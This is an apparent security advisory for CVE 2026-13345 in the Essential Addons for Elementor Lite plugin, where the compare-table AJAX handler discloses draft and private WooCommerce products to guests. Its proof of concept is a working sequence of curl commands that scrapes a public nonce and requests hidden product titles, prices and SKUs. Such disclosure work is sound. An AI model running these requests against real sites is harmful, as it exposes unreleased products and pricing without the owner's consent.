Essential Addons for Elementor – Lite < 6.6.10 – Unauthenticated Draft/Private WooCommerce Product Disclosure via Compare Table | CVE 2026-13345

Description

The plugin does not perform authorization, status, or visibility checks when resolving WooCommerce products in its product-comparison feature, allowing unauthenticated users to disclose the title, price, and SKU of draft, pending, and private products that are otherwise withheld from public view.

Proof of Concept

Environment: WordPress with Elementor + Essential Addons for Elementor - Lite (<= 6.6.9) + WooCommerce active. The attacker is unauthenticated. TARGET is the site base URL.

Prerequisites (normal site state):
- A non-public WooCommerce product exists, e.g. a DRAFT product (id DRAFT_ID, SKU DRAFT-SECRET-SKU, price 99.50) and/or a PRIVATE product (id PRIVATE_ID).
- A published page renders the EAEL Product Grid widget with the Compare feature enabled (this is what exposes the eael_product_grid nonce in the public page HTML).

Step 1 - Control: confirm WooCommerce withholds the non-public products from a guest:
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/?p=$DRAFT_ID"     # -> 404
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/?p=$PRIVATE_ID"   # -> 404

Step 2 - Scrape the eael_product_grid nonce from the public Product Grid page (no auth).
It is rendered as data-nonce on the widget wrapper; for an anonymous (uid 0) caller it is a
session-independent value accepted for any other anonymous request:
curl -sL "$TARGET/?p=COMPARE_PAGE_ID" | grep -oE '<div[^>]*id="eael-product-grid"[^>]*>'
# read NONCE from data-nonce="...", and PAGE_ID / WIDGET_ID from data-page-id / data-widget-id

Step 3 - Unauthenticated disclosure request (no cookies) for the non-public product:
curl -s "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=eael_product_grid" \
  --data-urlencode "nonce=$NONCE" \
  --data-urlencode "page_id=$PAGE_ID" \
  --data-urlencode "widget_id=$WIDGET_ID" \
  --data-urlencode "product_ids=[\"$DRAFT_ID\"]"
# -> {"success":true,...,"product_ids":["DRAFT_ID"]}
# The handler resolved the non-public product via wc_get_product() with no status/visibility/
# capability check. Draft, private and published products are treated identically (a published id
# returns success:true the same way). The disclosed title/price/SKU are produced by the same
# data-fetch path (static_get_products_list) the nopriv handler runs as current_user_id = 0:
#   DRAFT_ID -> "Draft Product", $99.50, DRAFT-SECRET-SKU
#   PRIVATE_ID -> "Private Product", $47.25, PRIVATE-SECRET-SKU

Step 4 - Asymmetry control (proves the missing guard is specific to the compare path):
the same unauthenticated request to the PATCHED sibling handler is refused:
curl -s "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=eael_product_quickview_popup" \
  --data-urlencode "security=VALID_QUICKVIEW_NONCE" \
  --data-urlencode "product_id=$DRAFT_ID"
# -> {"success":false,"data":"Product not found or not accessible"}
# The quickview handler received is_visible()/post_status/post_password_required guards
# (CVE-2026-1004); the compare path did not, making this an incomplete fix.